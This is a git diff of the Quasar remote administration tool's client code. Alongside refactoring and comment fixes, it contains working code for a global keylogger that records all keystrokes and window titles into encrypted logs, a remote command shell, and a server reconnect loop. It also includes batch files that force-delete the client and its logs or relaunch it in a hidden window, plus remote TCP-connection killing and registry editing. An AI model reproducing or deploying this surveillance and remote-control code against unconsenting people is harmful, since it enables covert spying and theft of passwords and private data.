/// + /// Provides extensions for registry key and value operations. + /// public static class RegistryKeyExtensions { /// @@ -25,7 +28,7 @@ private static bool IsNameOrValueNull(this string keyName, RegistryKey key) /// /// The key of which we obtain the value of. /// The name of the key. - /// The default value if value can not be determinated. + /// The default value if value can not be determined. /// Returns the value of the key using the specified key name. If unable to do so, /// defaultValue will be returned instead. public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "") @@ -107,8 +110,7 @@ public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name) /// /// The key of which the sub-key is to be deleted from. /// The name of the sub-key. - /// Returns boolean value if the action succeded or failed - /// + /// Returns true if the action succeeded, otherwise false. public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) { try @@ -122,8 +124,6 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) } } - #region Rename Key - /* * Derived and Adapted from drdandle's article, * Copy and Rename Registry Keys at Code project. @@ -146,21 +146,20 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) /// The key of which the subkey is to be renamed from. /// The old name of the sub-key. /// The new name of the sub-key. - /// Returns boolean value if the action succeded or failed; Returns - /// + /// Returns true if the action succeeded, otherwise false. public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName) { try { //Copy from old to new key.CopyKey(oldName, newName); - //Despose of the old key + //Dispose of the old key key.DeleteSubKeyTree(oldName); return true; } catch { - //Try to despose of the newKey (The rename failed) + //Try to dispose of the newKey (The rename failed) key.DeleteSubKeyTreeSafe(newName); return false; } @@ -173,8 +172,6 @@ public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string /// The key of which the subkey is to be deleted from. /// The old name of the sub-key. /// The new name of the sub-key. - /// Returns nothing - /// public static void CopyKey(this RegistryKey key, string oldName, string newName) { //Create a new key @@ -195,8 +192,6 @@ public static void CopyKey(this RegistryKey key, string oldName, string newName) /// /// The source key to copy from. /// The destination key to copy to. - /// Returns nothing - /// private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) { @@ -222,10 +217,6 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) } } - #endregion - - #region Region Value - /// /// Attempts to set a registry value for the key provided using the specified /// name, data and kind. If the registry value does not exist it will be created @@ -234,7 +225,7 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) /// The name of the value. /// The data of the value /// The value kind of the value - /// Returns a boolean value if the action succeeded or failed. + /// Returns true if the action succeeded, otherwise false. public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind) { try @@ -274,7 +265,7 @@ public static bool SetValueSafe(this RegistryKey key, string name, object data, /// /// The key of which the value is to be delete from. /// The name of the value. - /// Returns a boolean value if the action succeded or failed. + /// Returns true if the action succeeded, otherwise false. public static bool DeleteValueSafe(this RegistryKey key, string name) { try @@ -288,8 +279,6 @@ public static bool DeleteValueSafe(this RegistryKey key, string name) } } - #region Rename Value - /// /// Attempts to rename a registry value to the key provided using the specified old /// name and new name. @@ -297,21 +286,20 @@ public static bool DeleteValueSafe(this RegistryKey key, string name) /// The key of which the registry value is to be renamed from. /// The old name of the registry value. /// The new name of the registry value. - /// Returns boolean value if the action succeded or failed; Returns - /// + /// Returns true if the action succeeded, otherwise false. public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName) { try { //Copy from old to new key.CopyValue(oldName, newName); - //Despose of the old value + //Dispose of the old value key.DeleteValue(oldName); return true; } catch { - //Try to despose of the newKey (The rename failed) + //Try to dispose of the newKey (The rename failed) key.DeleteValueSafe(newName); return false; } @@ -324,8 +312,6 @@ public static bool RenameValueSafe(this RegistryKey key, string oldName, string /// The key of which the registry value is to be copied. /// The old name of the registry value. /// The new name of the registry value. - /// Returns nothing - /// public static void CopyValue(this RegistryKey key, string oldName, string newName) { RegistryValueKind valueKind = key.GetValueKind(oldName); @@ -334,19 +320,12 @@ public static void CopyValue(this RegistryKey key, string oldName, string newNam key.SetValue(newName, valueData, valueKind); } - #endregion - - #endregion - - #region Find - /// /// Checks if the specified subkey exists in the key /// /// The key of which to search. /// The name of the sub-key to find. - /// Returns boolean value if the action succeded or failed - /// + /// Returns true if the action succeeded, otherwise false. public static bool ContainsSubKey(this RegistryKey key, string name) { foreach (string subkey in key.GetSubKeyNames()) @@ -364,8 +343,7 @@ public static bool ContainsSubKey(this RegistryKey key, string name) /// /// The key of which to search. /// The name of the registry value to find. - /// Returns boolean value if the action succeded or failed - /// + /// Returns true if the action succeeded, otherwise false. public static bool ContainsValue(this RegistryKey key, string name) { foreach (string value in key.GetValueNames()) @@ -378,8 +356,6 @@ public static bool ContainsValue(this RegistryKey key, string name) return false; } - #endregion - /// /// Gets all of the value names associated with the registry key and returns /// formatted strings of the filtered values. @@ -396,6 +372,11 @@ public static IEnumerable> GetKeyValues(this RegistryKey k } } + /// + /// Gets the default value for a given data type of a registry value. + /// + /// The data type of the registry value. + /// The default value for the given . public static object GetDefault(this RegistryValueKind valueKind) { switch (valueKind) @@ -416,4 +397,4 @@ public static object GetDefault(this RegistryValueKind valueKind) } } } -} \ No newline at end of file +} diff --git a/Quasar.Client/IO/BatchFile.cs b/Quasar.Client/IO/BatchFile.cs index 9baea2f04..78a22fa93 100644 --- a/Quasar.Client/IO/BatchFile.cs +++ b/Quasar.Client/IO/BatchFile.cs @@ -1,40 +1,35 @@ using Quasar.Common.Helpers; -using System; using System.IO; using System.Text; namespace Quasar.Client.IO { - public class BatchFile + /// + /// Provides methods to create batch files for application update, uninstall and restart operations. + /// + public static class BatchFile { /// /// Creates the uninstall batch file. /// /// The current file path of the client. /// The log directory. - /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. public static string CreateUninstallBatch(string currentFilePath, string logDirectory) { - try - { - string batchFile = FileHelper.GetTempFilePath(".bat"); + string batchFile = FileHelper.GetTempFilePath(".bat"); - string uninstallBatch = - "@echo off" + "\r\n" + - "chcp 65001" + "\r\n" + - "echo DONT CLOSE THIS WINDOW!" + "\r\n" + - "ping -n 10 localhost > nul" + "\r\n" + - "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + - "rmdir /q /s " + "\"" + logDirectory + "\"" + "\r\n" + - "del /a /q /f " + "\"" + batchFile + "\""; + string uninstallBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "rmdir /q /s " + "\"" + logDirectory + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; - File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false)); - return batchFile; - } - catch (Exception) - { - return string.Empty; - } + File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false)); + return batchFile; } /// @@ -42,59 +37,45 @@ public static string CreateUninstallBatch(string currentFilePath, string logDire /// /// The current file path of the client. /// The new file path of the client. - /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + /// The file path to the batch file which can then get executed. Returns an empty string on failure. public static string CreateUpdateBatch(string currentFilePath, string newFilePath) { - try - { - string batchFile = FileHelper.GetTempFilePath(".bat"); + string batchFile = FileHelper.GetTempFilePath(".bat"); - string updateBatch = - "@echo off" + "\r\n" + - "chcp 65001" + "\r\n" + - "echo DONT CLOSE THIS WINDOW!" + "\r\n" + - "ping -n 10 localhost > nul" + "\r\n" + - "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + - "move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" + - "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + - "del /a /q /f " + "\"" + batchFile + "\""; + string updateBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; - File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false)); - return batchFile; - } - catch (Exception) - { - return string.Empty; - } + File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false)); + return batchFile; } /// /// Creates the restart batch file. /// /// The current file path of the client. - /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. public static string CreateRestartBatch(string currentFilePath) { - try - { - string batchFile = FileHelper.GetTempFilePath(".bat"); + string batchFile = FileHelper.GetTempFilePath(".bat"); - string restartBatch = - "@echo off" + "\r\n" + - "chcp 65001" + "\r\n" + - "echo DONT CLOSE THIS WINDOW!" + "\r\n" + - "ping -n 10 localhost > nul" + "\r\n" + - "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + - "del /a /q /f " + "\"" + batchFile + "\""; + string restartBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; - File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false)); + File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false)); - return batchFile; - } - catch (Exception) - { - return string.Empty; - } + return batchFile; } } } diff --git a/Quasar.Client/IO/Shell.cs b/Quasar.Client/IO/Shell.cs index 7c98ada3b..9b67a9d4e 100644 --- a/Quasar.Client/IO/Shell.cs +++ b/Quasar.Client/IO/Shell.cs @@ -1,6 +1,5 @@ using Quasar.Client.Networking; using Quasar.Common.Messages; -using Quasar.Common.Networking; using System; using System.Diagnostics; using System.Globalization; @@ -48,27 +47,20 @@ public class Shell : IDisposable /// private StreamWriter _inputWriter; + /// + /// The client to sends responses to. + /// private readonly QuasarClient _client; + /// + /// Initializes a new instance of the class using a given client. + /// + /// The client to send shell responses to. public Shell(QuasarClient client) { _client = client; } - - - private void Execute(ISender client, DoShellExecute message) - { - string input = message.Command; - - if ((_prc == null || _prc.HasExited) && input == "exit") return; - - if (input == "exit") - Dispose(); - else - ExecuteCommand(input); - } - /// /// Creates a new session of the shell. /// diff --git a/Quasar.Client/Logging/Keylogger.cs b/Quasar.Client/Logging/Keylogger.cs index 5239f521e..99b0069f7 100644 --- a/Quasar.Client/Logging/Keylogger.cs +++ b/Quasar.Client/Logging/Keylogger.cs @@ -1,5 +1,7 @@ using Gma.System.MouseKeyHook; using Quasar.Client.Config; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; using Quasar.Common.Cryptography; using Quasar.Common.Helpers; using System; @@ -7,6 +9,7 @@ using System.Diagnostics; using System.IO; using System.Text; +using System.Web; using System.Windows.Forms; using Timer = System.Timers.Timer; @@ -19,39 +22,68 @@ namespace Quasar.Client.Logging public class Keylogger : IDisposable { /// - /// True if the class has already been disposed, else False. + /// True if the class has already been disposed, else false. /// public bool IsDisposed { get; private set; } - public double FlushInterval { get; private set; } - + /// + /// The timer used to periodically flush the from memory to disk. + /// private readonly Timer _timerFlush; + + /// + /// The + /// private readonly StringBuilder _logFileBuffer = new StringBuilder(); + + /// + /// Temporary list of pressed keys while they are being processed. + /// private readonly List _pressedKeys = new List(); + + /// + /// Temporary list of pressed keys chars while they are being processed. + /// private readonly List _pressedKeyChars = new List(); + + /// + /// Saves the last window title of an application. + /// private string _lastWindowTitle = string.Empty; + + /// + /// Determines if special keys should be ignored for processing, e.g. when a modifier key is pressed. + /// private bool _ignoreSpecialKeys; - private IKeyboardMouseEvents _mEvents; + + /// + /// Used to hook global mouse and keyboard events. + /// + private readonly IKeyboardMouseEvents _mEvents; + + /// + /// Provides encryption and decryption methods to securely store log files. + /// private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY); /// - /// Creates the keylogger instance that provides keylogging functionality. + /// Initializes a new instance of that provides keylogging functionality. /// - /// The interval to flush the buffer to the logfile. + /// The interval to flush the buffer from memory to disk. public Keylogger(double flushInterval) { - FlushInterval = flushInterval; - _timerFlush = new Timer { Interval = FlushInterval }; - _timerFlush.Elapsed += timerFlush_Elapsed; + _mEvents = Hook.GlobalEvents(); + _timerFlush = new Timer { Interval = flushInterval }; + _timerFlush.Elapsed += TimerElapsed; } - public void StartLogging() + /// + /// Begins logging of keys. + /// + public void Start() { - Subscribe(Hook.GlobalEvents()); - + Subscribe(); _timerFlush.Start(); - - WriteFile(); } /// @@ -65,53 +97,59 @@ public void Dispose() protected virtual void Dispose(bool disposing) { - if (!IsDisposed) - { - if (disposing) - { - if (_timerFlush != null) - { - _timerFlush.Stop(); - _timerFlush.Dispose(); - } - } + if (IsDisposed) + return; + if (disposing) + { Unsubscribe(); - - IsDisposed = true; + _timerFlush.Stop(); + _timerFlush.Dispose(); + _mEvents.Dispose(); } + + IsDisposed = true; } - private void Subscribe(IKeyboardMouseEvents events) + /// + /// Subscribes to all key events. + /// + private void Subscribe() { - _mEvents = events; _mEvents.KeyDown += OnKeyDown; _mEvents.KeyUp += OnKeyUp; _mEvents.KeyPress += OnKeyPress; } + /// + /// Unsubscribes from all key events. + /// private void Unsubscribe() { - if (_mEvents == null) return; _mEvents.KeyDown -= OnKeyDown; _mEvents.KeyUp -= OnKeyUp; _mEvents.KeyPress -= OnKeyPress; - _mEvents.Dispose(); } - private void OnKeyDown(object sender, KeyEventArgs e) //Called first + /// + /// Initial handling of the key down events and updates the window title. + /// + /// The sender of the event. + /// The key event args, e.g. the keycode. + /// This event handler is called first. + private void OnKeyDown(object sender, KeyEventArgs e) { - string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); //Get active thread window title + string activeWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle(); if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle) { _lastWindowTitle = activeWindowTitle; _logFileBuffer.Append(@"



[" - + KeyloggerHelper.Filter(activeWindowTitle) + " - " + + HttpUtility.HtmlEncode(activeWindowTitle) + " - " + DateTime.Now.ToString("HH:mm") + "]


"); } - if (_pressedKeys.IsModifierKeysSet()) + if (_pressedKeys.ContainsModifierKeys()) { if (!_pressedKeys.Contains(e.KeyCode)) { @@ -133,19 +171,24 @@ private void OnKeyDown(object sender, KeyEventArgs e) //Called first } } - //This method should be used to process all of our unicode characters - private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second + /// + /// Processes pressed keys and appends them to the . Processing of Unicode characters starts here. + /// + /// The sender of the event. + /// The key press event args, especially the pressed KeyChar. + /// This event handler is called second. + private void OnKeyPress(object sender, KeyPressEventArgs e) { - if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar)) + if (_pressedKeys.ContainsModifierKeys() && _pressedKeys.ContainsKeyChar(e.KeyChar)) return; - if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar)) + if ((!_pressedKeyChars.Contains(e.KeyChar) || !DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar)) { - var filtered = KeyloggerHelper.Filter(e.KeyChar); + var filtered = HttpUtility.HtmlEncode(e.KeyChar.ToString()); if (!string.IsNullOrEmpty(filtered)) { Debug.WriteLine("OnKeyPress Output: " + filtered); - if (_pressedKeys.IsModifierKeysSet()) + if (_pressedKeys.ContainsModifierKeys()) _ignoreSpecialKeys = true; _pressedKeyChars.Add(e.KeyChar); @@ -154,12 +197,34 @@ private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second } } - private void OnKeyUp(object sender, KeyEventArgs e) //Called third + /// + /// Finishes processing of the keys. + /// + /// The sender of the event. + /// The key event args. + /// This event handler is called third. + private void OnKeyUp(object sender, KeyEventArgs e) { _logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray())); _pressedKeyChars.Clear(); } + /// + /// Finds a held down key char in a given key char list. + /// + /// The list of key chars. + /// The key char to search for. + /// True if the list contains the key char, else false. + private bool DetectKeyHolding(List list, char search) + { + return list.FindAll(s => s.Equals(search)).Count > 1; + } + + /// + /// Adds special highlighting in HTML to the special keys. + /// + /// The input keys. + /// The highlighted special keys. private string HighlightSpecialKeys(Keys[] keys) { if (keys.Length < 1) return string.Empty; @@ -169,7 +234,7 @@ private string HighlightSpecialKeys(Keys[] keys) { if (!_ignoreSpecialKeys) { - names[i] = KeyloggerHelper.GetDisplayName(keys[i]); + names[i] = keys[i].GetDisplayName(); Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]); } else @@ -181,7 +246,7 @@ private string HighlightSpecialKeys(Keys[] keys) _ignoreSpecialKeys = false; - if (_pressedKeys.IsModifierKeysSet()) + if (_pressedKeys.ContainsModifierKeys()) { StringBuilder specialKeys = new StringBuilder(); @@ -228,14 +293,18 @@ private string HighlightSpecialKeys(Keys[] keys) return normalKeys.ToString(); } - private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e) + private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e) { if (_logFileBuffer.Length > 0) WriteFile(); } + /// + /// Writes the logged keys from memory to disk. + /// private void WriteFile() { + // TODO: large log files take a very long time to read, decrypt and append new logs to bool writeHeader = false; string filename = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy")); diff --git a/Quasar.Client/Logging/KeyloggerHelper.cs b/Quasar.Client/Logging/KeyloggerHelper.cs deleted file mode 100644 index 70b741b65..000000000 --- a/Quasar.Client/Logging/KeyloggerHelper.cs +++ /dev/null @@ -1,110 +0,0 @@ -using System.Collections.Generic; -using System.Windows.Forms; -using Quasar.Client.Helper; - -namespace Quasar.Client.Logging -{ - public static class KeyloggerHelper - { - #region "Extension Methods" - public static bool IsModifierKeysSet(this List pressedKeys) - { - return pressedKeys != null && - (pressedKeys.Contains(Keys.LControlKey) - || pressedKeys.Contains(Keys.RControlKey) - || pressedKeys.Contains(Keys.LMenu) - || pressedKeys.Contains(Keys.RMenu) - || pressedKeys.Contains(Keys.LWin) - || pressedKeys.Contains(Keys.RWin) - || pressedKeys.Contains(Keys.Control) - || pressedKeys.Contains(Keys.Alt)); - } - - public static bool IsModifierKey(this Keys key) - { - return (key == Keys.LControlKey - || key == Keys.RControlKey - || key == Keys.LMenu - || key == Keys.RMenu - || key == Keys.LWin - || key == Keys.RWin - || key == Keys.Control - || key == Keys.Alt); - } - - public static bool ContainsKeyChar(this List pressedKeys, char c) - { - return pressedKeys.Contains((Keys)char.ToUpper(c)); - } - - public static bool IsExcludedKey(this Keys k) - { - // The keys below are excluded. If it is one of the keys below, - // the KeyPress event will handle these characters. If the keys - // are not any of those specified below, we can continue. - return (k >= Keys.A && k <= Keys.Z - || k >= Keys.NumPad0 && k <= Keys.Divide - || k >= Keys.D0 && k <= Keys.D9 - || k >= Keys.Oem1 && k <= Keys.OemClear - || k >= Keys.LShiftKey && k <= Keys.RShiftKey - || k == Keys.CapsLock - || k == Keys.Space); - } - #endregion - - public static bool DetectKeyHolding(List list, char search) - { - return list.FindAll(s => s.Equals(search)).Count > 1; - } - - public static string Filter(char key) - { - if ((int)key < 32) return string.Empty; - - switch (key) - { - case '<': - return "<"; - case '>': - return ">"; - case '#': - return "#"; - case '&': - return "&"; - case '"': - return """; - case '\'': - return "'"; - case ' ': - return " "; - } - return key.ToString(); - } - - public static string Filter(string input) - { - return input.Replace("<", "<").Replace(">", ">").Replace("\"", """).Replace("'", "'"); - } - - public static string GetDisplayName(Keys key, bool altGr = false) - { - string name = key.ToString(); - if (name.Contains("ControlKey")) - return "Control"; - else if (name.Contains("Menu")) - return "Alt"; - else if (name.Contains("Win")) - return "Win"; - else if (name.Contains("Shift")) - return "Shift"; - return name; - } - - public static string GetActiveWindowTitle() - { - string title = NativeMethodsHelper.GetForegroundWindowTitle(); - - return (!string.IsNullOrEmpty(title)) ? title : null; - } - } -} diff --git a/Quasar.Client/Logging/KeyloggerService.cs b/Quasar.Client/Logging/KeyloggerService.cs index 5dbb54b78..14d470499 100644 --- a/Quasar.Client/Logging/KeyloggerService.cs +++ b/Quasar.Client/Logging/KeyloggerService.cs @@ -4,23 +4,43 @@ namespace Quasar.Client.Logging { + /// + /// Provides a service to run the keylogger. + /// public class KeyloggerService : IDisposable { + /// + /// The thread containing the executed keylogger and message loop. + /// private readonly Thread _msgLoopThread; + + /// + /// The message loop which is needed to receive key events. + /// private ApplicationContext _msgLoop; + + /// + /// Provides keylogging functionality. + /// private Keylogger _keylogger; + /// + /// Initializes a new instance of . + /// public KeyloggerService() { _msgLoopThread = new Thread(() => { _msgLoop = new ApplicationContext(); _keylogger = new Keylogger(15000); - _keylogger.StartLogging(); + _keylogger.Start(); Application.Run(_msgLoop); }); } + /// + /// Starts the keylogger and message loop. + /// public void Start() { _msgLoopThread.Start(); diff --git a/Quasar.Client/Messages/TcpConnectionsHandler.cs b/Quasar.Client/Messages/TcpConnectionsHandler.cs index 20e5cfaad..499678c70 100644 --- a/Quasar.Client/Messages/TcpConnectionsHandler.cs +++ b/Quasar.Client/Messages/TcpConnectionsHandler.cs @@ -74,11 +74,12 @@ private void Execute(ISender client, DoCloseConnection message) message.RemotePort == table[i].RemotePort) { // it will close the connection only if client run as admin - //table[i].state = (byte)ConnectionStates.Delete_TCB; - table[i].state = 12; // 12 for Delete_TCB state + table[i].state = (byte) ConnectionState.Delete_TCB; var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i])); Marshal.StructureToPtr(table[i], ptr, false); NativeMethods.SetTcpEntry(ptr); + Execute(client, new GetConnections()); + return; } } } @@ -88,11 +89,12 @@ private NativeMethods.MibTcprowOwnerPid[] GetTable() NativeMethods.MibTcprowOwnerPid[] tTable; var afInet = 2; var buffSize = 0; - var ret = NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); + // retrieve correct pTcpTable size + NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); var buffTable = Marshal.AllocHGlobal(buffSize); try { - ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); + var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); if (ret != 0) return null; var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid)); diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs index c5bc975d9..03940ed21 100644 --- a/Quasar.Client/Networking/QuasarClient.cs +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -14,16 +14,38 @@ namespace Quasar.Client.Networking { - public class QuasarClient : Client + public class QuasarClient : Client, IDisposable { /// - /// When Exiting is true, stop all running threads and exit. + /// Used to keep track if the client has been identified by the server. + /// + private bool _identified; + + /// + /// The hosts manager which contains the available hosts to connect to. /// - public bool Exiting { get; private set; } - public bool Identified { get; private set; } private readonly HostsManager _hosts; + + /// + /// Random number generator to slightly randomize the reconnection delay. + /// private readonly SafeRandom _random; + /// + /// Create a and signals cancellation. + /// + private readonly CancellationTokenSource _tokenSource; + + /// + /// The token to check for cancellation. + /// + private readonly CancellationToken _token; + + /// + /// Initializes a new instance of the class. + /// + /// The hosts manager which contains the available hosts to connect to. + /// The server certificate. public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate) : base(serverCertificate) { @@ -32,12 +54,17 @@ public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificat base.ClientState += OnClientState; base.ClientRead += OnClientRead; base.ClientFail += OnClientFail; + this._tokenSource = new CancellationTokenSource(); + this._token = _tokenSource.Token; } + /// + /// Connection loop used to reconnect and keep the connection open. + /// public void ConnectLoop() { // TODO: do not re-use object - while (!Exiting) // Main Connect Loop + while (!_token.IsCancellationRequested) { if (!Connected) { @@ -48,10 +75,10 @@ public void ConnectLoop() while (Connected) // hold client open { - Thread.Sleep(1000); + _token.WaitHandle.WaitOne(1000); } - if (Exiting) + if (_token.IsCancellationRequested) { Disconnect(); return; @@ -63,12 +90,12 @@ public void ConnectLoop() private void OnClientRead(Client client, IMessage message, int messageLength) { - if (!Identified) + if (!_identified) { if (message.GetType() == typeof(ClientIdentificationResult)) { var reply = (ClientIdentificationResult) message; - Identified = reply.Result; + _identified = reply.Result; } return; } @@ -84,7 +111,7 @@ private void OnClientFail(Client client, Exception ex) private void OnClientState(Client client, bool connected) { - Identified = false; // always reset identification + _identified = false; // always reset identification if (connected) { @@ -111,10 +138,31 @@ private void OnClientState(Client client, bool connected) } } + /// + /// Stops the connection loop and disconnects the connection. + /// public void Exit() { - Exiting = true; + _tokenSource.Cancel(); Disconnect(); } + + /// + /// Disposes all managed and unmanaged resources associated with this activity detection service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _tokenSource.Cancel(); + _tokenSource.Dispose(); + } + } } } diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj index c669137ed..f6a7727f8 100644 --- a/Quasar.Client/Quasar.Client.csproj +++ b/Quasar.Client/Quasar.Client.csproj @@ -30,6 +30,7 @@ + diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs index 309a16e0a..0a3b89486 100644 --- a/Quasar.Client/QuasarApplication.cs +++ b/Quasar.Client/QuasarApplication.cs @@ -29,7 +29,7 @@ public class QuasarApplication : IDisposable /// /// The client used for the connection to the server. /// - public QuasarClient ConnectClient; + private QuasarClient _connectClient; /// /// List of to keep track of all used message processors. @@ -110,13 +110,13 @@ public void Run() } var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); - ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); - InitializeMessageProcessors(ConnectClient); + _connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); + InitializeMessageProcessors(_connectClient); - _userActivityDetection = new ActivityDetection(ConnectClient); + _userActivityDetection = new ActivityDetection(_connectClient); _userActivityDetection.Start(); - ConnectClient.ConnectLoop(); + _connectClient.ConnectLoop(); } } @@ -130,17 +130,26 @@ private static void HandleUnhandledException(object sender, UnhandledExceptionEv if (e.IsTerminating) { Debug.WriteLine(e); - string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); - if (string.IsNullOrEmpty(batchFile)) return; - - ProcessStartInfo startInfo = new ProcessStartInfo + try + { + string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + catch (Exception exception) { - WindowStyle = ProcessWindowStyle.Hidden, - UseShellExecute = true, - FileName = batchFile - }; - Process.Start(startInfo); - Environment.Exit(0); + Debug.WriteLine(exception); + } + finally + { + Environment.Exit(0); + } } } @@ -204,6 +213,7 @@ protected virtual void Dispose(bool disposing) _keyloggerService?.Dispose(); _userActivityDetection?.Dispose(); ApplicationMutex.Dispose(); + _connectClient.Dispose(); } } } diff --git a/Quasar.Client/Registry/RegistryEditor.cs b/Quasar.Client/Registry/RegistryEditor.cs index 8a671170f..0cf4272d9 100644 --- a/Quasar.Client/Registry/RegistryEditor.cs +++ b/Quasar.Client/Registry/RegistryEditor.cs @@ -1,28 +1,19 @@ -using System; -using Microsoft.Win32; +using Microsoft.Win32; using Quasar.Client.Extensions; using Quasar.Client.Helper; using Quasar.Common.Models; +using System; namespace Quasar.Client.Registry { public class RegistryEditor { - - #region CONSTANTS - - #region RegistryKey - private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry"; private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry"; private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry"; - #endregion - - #region RegistryValue - private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry"; private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry"; @@ -31,17 +22,12 @@ public class RegistryEditor private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry"; - #endregion - - #endregion - - #region RegistryKey /// /// Attempts to create the desired sub key to the specified parent. /// /// The path to the parent for which to create the sub-key on. /// output parameter that holds the name of the sub-key that was create. - /// output parameter that contians possible error message. + /// output parameter that contains possible error message. /// Returns true if action succeeded. public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg) { @@ -96,7 +82,7 @@ public static bool CreateRegistryKey(string parentPath, out string name, out str /// /// The name of the sub-key to delete. /// The path to the parent for which to delete the sub-key on. - /// output parameter that contians possible error message. + /// output parameter that contains possible error message. /// Returns true if the operation succeeded. public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg) { @@ -145,7 +131,7 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string /// The name of the key to rename. /// The name to use for renaming. /// The path of the parent for which to rename the key. - /// output parameter that contians possible error message. + /// output parameter that contains possible error message. /// Returns true 